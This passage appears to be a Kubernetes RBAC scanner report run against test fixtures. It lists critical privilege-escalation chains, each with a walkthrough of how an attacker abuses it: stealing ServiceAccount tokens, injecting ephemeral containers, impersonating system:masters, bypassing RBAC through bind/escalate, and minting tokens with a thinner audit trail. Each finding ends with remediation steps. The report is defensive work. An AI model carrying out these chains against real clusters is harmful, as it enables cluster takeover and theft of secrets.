  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard Cluster 9.8
ServiceAccount/rbac-fixtures/sa-wildcard can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-wildcardcluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard

Subject ServiceAccount/rbac-fixtures/sa-wildcard has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-wildcard/ via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-wildcard (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-wildcard (RCE in any application using its identity, leaked token, or compromised image).
  2. The identity ServiceAccount/rbac-fixtures/sa-wildcard already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission *:*:* that enables the first hop (ServiceAccount/rbac-fixtures/sa-wildcard/).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission *:*:* that enables the first hop (ServiceAccount/rbac-fixtures/sa-wildcard/)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 9.3
ServiceAccount/privesc-fixtures/sa-ephemeral can reach cluster-admin equivalent in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-ephemeralcluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-impersonate via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-impersonate
2. ServiceAccount/rbac-fixtures/sa-impersonate/ via impersonate (impersonate users|groups): can impersonate another identity

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-ephemeral (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/privesc-fixtures/sa-ephemeral (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-impersonate via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-impersonate.
  3. Acting as ServiceAccount/rbac-fixtures/sa-impersonate, the attacker uses RBAC impersonation (the impersonate verb on impersonate users|groups) to send API requests as any identity in the cluster, including system:masters, which the apiserver hard-codes as cluster-admin. Granting impersonate on groups: ["*"] is functionally a cluster-admin grant.
  4. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-impersonate
  2. Step 2 of 2 RBAC impersonation impersonate

    Kubernetes has a built-in "act as another user" feature: the impersonate verb on users, groups, or serviceaccounts. Anyone with that verb can submit requests as any identity, bypassing whatever permissions they don't have themselves.

    Granting impersonate on groups = ["*"] is equivalent to cluster-admin: the holder can impersonate system:masters.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate users|groups
    Gives the attacker can impersonate another identity
Remediation
Break the chain at the weakest hop: remove the impersonate users|groups capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-impersonate/).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the impersonate users|groups capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-impersonate/)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 9.3
ServiceAccount/privesc-fixtures/sa-pod-exec can reach cluster-admin equivalent in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-execcluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/rbac-fixtures/sa-impersonate via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-impersonate
2. ServiceAccount/rbac-fixtures/sa-impersonate/ via impersonate (impersonate users|groups): can impersonate another identity

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-exec (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/privesc-fixtures/sa-pod-exec (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/rbac-fixtures/sa-impersonate and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/rbac-fixtures/sa-impersonate, the attacker uses RBAC impersonation (the impersonate verb on impersonate users|groups) to send API requests as any identity in the cluster, including system:masters, which the apiserver hard-codes as cluster-admin. Granting impersonate on groups: ["*"] is functionally a cluster-admin grant.
  4. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-impersonate
  2. Step 2 of 2 RBAC impersonation impersonate

    Kubernetes has a built-in "act as another user" feature: the impersonate verb on users, groups, or serviceaccounts. Anyone with that verb can submit requests as any identity, bypassing whatever permissions they don't have themselves.

    Granting impersonate on groups = ["*"] is equivalent to cluster-admin: the holder can impersonate system:masters.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate users|groups
    Gives the attacker can impersonate another identity
Remediation
Break the chain at the weakest hop: remove the impersonate users|groups capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-impersonate/).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the impersonate users|groups capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-impersonate/)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/rbac-fixtures/sa-pod-create Cluster 9.3
ServiceAccount/rbac-fixtures/sa-pod-create can reach cluster-admin equivalent in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-pod-createcluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-fixtures/sa-bind-escalate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-fixtures/sa-bind-escalate
2. ServiceAccount/rbac-fixtures/sa-bind-escalate/ via bind_or_escalate (bind,escalate roles|clusterroles): can bypass RBAC escalation checks via bind/escalate

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-pod-create (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-pod-create (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/rbac-fixtures/sa-bind-escalate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/rbac-fixtures/sa-bind-escalate, the attacker uses the RBAC bind/escalate bypass (bind,escalate roles|clusterroles) to grant themselves any role they choose, typically cluster-admin. bind/escalate is the carve-out that lets the holder escape RBAC's normal "you can only grant what you have" guardrail.
  4. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-fixtures/sa-bind-escalate
  2. Step 2 of 2 RBAC bind/escalate bypass bind_or_escalate

    RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

    Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

    From ServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted bind,escalate roles|clusterroles
    Gives the attacker can bypass RBAC escalation checks via bind/escalate
Remediation
Break the chain at the weakest hop: remove the bind,escalate roles|clusterroles capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-bind-escalate/).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the bind,escalate roles|clusterroles capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-bind-escalate/)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/rbac-fixtures/sa-token-create Cluster 9.3
ServiceAccount/rbac-fixtures/sa-token-create can reach cluster-admin equivalent in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-token-createcluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/rbac-fixtures/sa-bind-escalate via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount rbac-fixtures/sa-bind-escalate
2. ServiceAccount/rbac-fixtures/sa-bind-escalate/ via bind_or_escalate (bind,escalate roles|clusterroles): can bypass RBAC escalation checks via bind/escalate

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-token-create (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-token-create (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/rbac-fixtures/sa-bind-escalate. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/rbac-fixtures/sa-bind-escalate, the attacker uses the RBAC bind/escalate bypass (bind,escalate roles|clusterroles) to grant themselves any role they choose, typically cluster-admin. bind/escalate is the carve-out that lets the holder escape RBAC's normal "you can only grant what you have" guardrail.
  4. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount rbac-fixtures/sa-bind-escalate
  2. Step 2 of 2 RBAC bind/escalate bypass bind_or_escalate

    RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

    Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

    From ServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted bind,escalate roles|clusterroles
    Gives the attacker can bypass RBAC escalation checks via bind/escalate
Remediation
Break the chain at the weakest hop: remove the bind,escalate roles|clusterroles capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-bind-escalate/).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the bind,escalate roles|clusterroles capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-bind-escalate/)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/vulnerable/privileged-reader Cluster 9.3
ServiceAccount/vulnerable/privileged-reader can reach cluster-admin equivalent in 2 hop(s)
Scope · Cluster Source ServiceAccount/vulnerable/privileged-readercluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/vulnerable/privileged-readerServiceAccount/rbac-fixtures/sa-bind-escalate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-fixtures/sa-bind-escalate
2. ServiceAccount/rbac-fixtures/sa-bind-escalate/ via bind_or_escalate (bind,escalate roles|clusterroles): can bypass RBAC escalation checks via bind/escalate

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/vulnerable/privileged-reader (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/vulnerable/privileged-reader (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/rbac-fixtures/sa-bind-escalate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/rbac-fixtures/sa-bind-escalate, the attacker uses the RBAC bind/escalate bypass (bind,escalate roles|clusterroles) to grant themselves any role they choose, typically cluster-admin. bind/escalate is the carve-out that lets the holder escape RBAC's normal "you can only grant what you have" guardrail.
  4. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-readerServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-fixtures/sa-bind-escalate
  2. Step 2 of 2 RBAC bind/escalate bypass bind_or_escalate

    RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

    Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

    From ServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted bind,escalate roles|clusterroles
    Gives the attacker can bypass RBAC escalation checks via bind/escalate
Remediation
Break the chain at the weakest hop: remove the bind,escalate roles|clusterroles capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-bind-escalate/).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the bind,escalate roles|clusterroles capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-bind-escalate/)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Cluster 8.8
ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach cluster-admin equivalent in 3 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-create-escapecluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 3 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
2. ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-impersonate via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-impersonate
3. ServiceAccount/rbac-fixtures/sa-impersonate/ via impersonate (impersonate users|groups): can impersonate another identity

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-create-escape (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/privesc-fixtures/sa-pod-create-escape (RCE in any application using its identity, leaked token, or compromised image).
